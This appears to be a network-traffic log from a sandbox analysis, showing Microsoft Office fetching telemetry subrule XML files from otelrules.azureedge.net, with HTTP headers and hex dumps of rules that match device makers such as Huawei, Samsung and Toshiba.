2024-11-20 06:48:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:48:59 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064859Z-r1d97b99577d6qrbhC1TEBux5s00000008kg00000000cnqq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:48:59 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:00 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:00 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064900Z-1777c6cb754xlpjshC1TEBv8cc00000009a000000000f3h2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:00 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:00 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:00 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064900Z-185f5d8b95cjbkr4hC1NYCeu2400000009p000000000ffpu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:00 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:00 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:00 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064900Z-185f5d8b95c5lcmhhC1NYCsnsw00000009y000000000aetb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:00 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:00 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064900Z-185f5d8b95csp6jmhC1NYCwy6s00000009y00000000003bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:00 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064900Z-185f5d8b95ckwnflhC1NYCx9qs0000000a10000000001685 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:00 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:00 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064900Z-r1d97b9957789g82hC1TEBstx000000008f0000000008ba5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:00 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-r1d97b99577dd2gchC1TEBz5ys00000008dg000000001p0w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-r1d97b995774n5h6hC1TEBvf8400000008eg00000000aq0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-185f5d8b95ckwnflhC1NYCx9qs0000000a00000000003vrv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-185f5d8b95crwqd8hC1NYCps6800000009w0000000009f5t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:01 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:01 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064901Z-1777c6cb754gc8g6hC1TEB966c0000000980000000006g76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:01 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
